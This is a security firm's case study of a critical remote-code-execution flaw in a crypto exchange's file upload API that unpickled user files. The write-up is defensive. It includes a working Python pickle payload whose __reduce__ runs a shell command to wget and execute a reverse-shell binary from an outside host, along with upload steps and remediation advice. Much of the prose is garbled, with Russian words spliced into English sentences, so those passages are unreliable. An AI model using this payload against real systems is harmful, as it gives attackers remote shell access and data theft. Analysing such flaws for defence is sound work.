Remote Code Execution via Unsafe File Upload

как Сервис: Web Application Pentest
Industry: Crypto Exchange
Region: Spain
Background
A security audit of a crypto exchange revealed a critical vulnerability in its backend infrastructure. Although the primary focus was on the on-chain smart contracts, auditors discovered a severe flaw in the file upload API. The vulnerability was rated Severity: Critical with a CVSS base score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). This case highlights how flaws in off‑chain services can undermine a project’s security, even if the smart contracts themselves are bug‑free.
Серьезность: Критический
CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Module: File Upload API
Exploit Complexity: Low
Discovery — Reproducing Remote Code Execution
В Безопасности began by inspecting в file upload API responsible for handling user documents. By analyzing server-side behavior и (источник) code, we обнаруженный that uploaded files were read и passed directly into cPickle.loads().
Exploit POC:
#!/usr/bin/python
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
import cPickle
import sys
import base64
class PickleRce(object):
def __reduce__(self):
import os
import urllib2
cmd = 'wget [link to reverse tcp]; ./reverse_tcp'
return (os.system,( cmd, ))
#cPickle.loads(cPickle.dumps(PickleRce()))
open('payload', 'wb+').write(cPickle.dumps(PickleRce()))
Upload Test Flow:
- Crafted a malicious object in Python with a custom __reduce__ method.
- Serialized it using cPickle.dumps() and saved the result to a binary payload.
- Uploaded the binary payload via the platform’s file upload endpoint.
- The backend deserialized the data using cPickle.loads() without validation.
- This led to command execution on the server, confirming RCE.
Technical Root Cause
В корень cause was trusting Python’s insecure pickle format. The pickle (и cPickle) module является inherently unsafe: в Python documentation warns that IT “является not secure” и that unpickling malicious data can execute arbitrary code. In particular, pickle uses наше object’s __reduce__ protocol Для reconstruct objects, which means a pickle can encode calls Для any callable. . attacker can define a class whose __reduce__ returns something like (subprocess.Popen, (cmd,)), causing в unpickler Для invoke that call. In это case, в malicious pickle’s __reduce__ returned a subprocess (или os.system) invocation, injecting a shell command into в deserialization process. Because в application did no validation на в uploaded data, это allowed arbitrary code execution на в сервер.
Real-World Risks
Exploiting this flaw could let attackers completely compromise the system, for example:
- A. Remote Shell Access: The attacker gains arbitrary command execution on the server (a full remote shell).
- B. Lateral Movement in Infrastructure: From the compromised host, an attacker can pivot to other internal systems and escalate privileges.
- C. Data Theft and Server Control: Sensitive files, databases or secrets on the server (logs, configs, user data) can be stolen or tampered with, effectively giving the attacker full server control.
- D. Private Key Exposure (if present on the server): For example, if deployment scripts or backups contain wallet credentials, these could be extracted.
по кибербезопасности
- Use Safe Serialization: Do not use cPickle (or pickle) on untrusted input. Instead, use safe formats such as JSON or protobufs for data interchange, which do not allow code execution.
- Validate and Sanitize Inputs: Rigorously check uploaded files and API inputs. Enforce strict file type checks, content validation, and size limits. As industry experts note, never blindly trust incoming data – always sanitize and verify any payload from untrusted sources.
- Isolate the Upload Handler: Run file processing in a restricted environment (e.g. a separate container or with minimal permissions) so that if an exploit occurs, its impact is contained. Apply the principle of least privilege to the upload service to limit potential damage.
Заключение
This incident underscores that off‑chain logic can be just as critical as on‑chain code. The industry’s heavy focus на smart contracts can “hide a deeper, more pervasive threat” в neglected Web2 components. In fact, experts warn that a “single weakness” в off-chain тестирование can cause irreversible damage Для в блокчейн ecosystem. Robust auditing must include backend Услуги, API - интерфейсы и serialization routines – not just в блокчейн code – Для ensure overall system Служба поддержки.
All identifiers, domains, and user data in this case study have been anonymized to preserve client confidentiality.
Другие Услуги
Insomnia Security Scanner
AI-powered web application security scanner by CQR. Automated vulnerability discovery, exploit verification, and detailed reporting for modern applications.
Узнать большеЗащита Инфраструктуры CRYEYE
Аудит безопасности с помощью CryEye обеспечивает информационную безопасность предприятия, защищая всю инфраструктуру.
Узнать большеТестирование на проникновение
Найдите уязвимости во всей инфраструктуре вашего бизнеса раньше, чем это сделают хакеры! В рамках консалтинга по тестированию на проникновение мы подберем методы пентестов.
Узнать большеСоциальная инженерия
Simulate real-world phishing, vishing, and pretexting attacks to measure and improve your team's security awareness and response capabilities.
Узнать большеНагрузочное Тестирование
All kinds of load and performance testing of your system from the CQR online security company.
Узнать большеAI-Powered Vulnerability Assessment
Leverage artificial intelligence to discover, prioritize, and remediate vulnerabilities across your digital assets faster and more accurately than traditional scanners.
Узнать большеCloud Security Audit (AWS / GCP / Azure)
Comprehensive security review of your cloud environments — IAM policies, network controls, data exposure, and misconfigurations across all major cloud platforms.
Узнать большеDevSecOps Integration
Embed security into every stage of your CI/CD pipeline. Automated SAST, DAST, SCA, and secret scanning so vulnerabilities are caught before they reach production.
Узнать большеAPI Security Testing
In-depth testing of REST, GraphQL, and SOAP APIs for authentication flaws, authorization bypasses, injection vulnerabilities, and data leakage risks.
Узнать большеMobile Application Penetration Testing
Manual and automated security testing for iOS and Android applications — reverse engineering, runtime analysis, traffic interception, and backend API assessment.
Узнать большеIoT Security Assessment
Evaluate firmware, communication protocols, cloud backends, and physical interfaces of IoT devices to identify vulnerabilities before attackers do.
Узнать большеBlockchain & Smart Contract Audit
Formal verification and manual code review of smart contracts on Ethereum, Solana, and other chains. Detect reentrancy, overflow, and logic flaws before deployment.
Узнать большеRed Team Operations
Advanced adversary simulation using real attacker TTPs (MITRE ATT&CK) to test your detection, response, and overall security posture under realistic conditions.
Узнать большеThreat Intelligence & Monitoring
Continuous monitoring of threat feeds, dark web, and attacker infrastructure to provide actionable intelligence specific to your organization and industry.
Узнать большеZero Trust Architecture Review
Assess and design your Zero Trust security model — identity verification, micro-segmentation, least-privilege access, and continuous validation controls.
Узнать большеCompliance Consulting (PCI DSS / SOC 2 / GDPR)
Expert guidance to achieve and maintain compliance with major security frameworks. Gap analysis, remediation roadmaps, and audit-readiness support.
Узнать большеDark Web Monitoring
Continuous surveillance of dark web forums, marketplaces, and breach databases for leaked credentials, sensitive data, or mentions of your organization.
Узнать большеPhishing Simulation & Awareness Training
Controlled phishing campaigns combined with interactive security awareness training to build a human firewall across your entire organization.
Узнать большеSupply Chain Security Audit
Assess third-party vendor risks, open-source dependencies, and software supply chain integrity to prevent attacks like SolarWinds and Log4Shell.
Узнать большеContainer & Kubernetes Security
Security review of Docker images, Kubernetes clusters, RBAC policies, network policies, and runtime configurations to harden your container infrastructure.
Узнать большеWeb Application Firewall (WAF) Deployment
Professional WAF setup, rule tuning, and ongoing management to block SQL injection, XSS, CSRF, and other OWASP Top 10 threats in real time.
Узнать большеBug Bounty Program Management
Full lifecycle management of your bug bounty program — scope definition, researcher coordination, triage, validation, and remediation tracking.
Узнать большеOSINT Investigation Services
Open-source intelligence gathering on individuals, organizations, and infrastructure. Ideal for pre-engagement recon, fraud investigation, and competitive analysis.
Узнать большеDigital Forensics & Incident Response
Rapid response to security breaches — evidence collection, malware analysis, attacker timeline reconstruction, and actionable remediation recommendations.
Узнать больше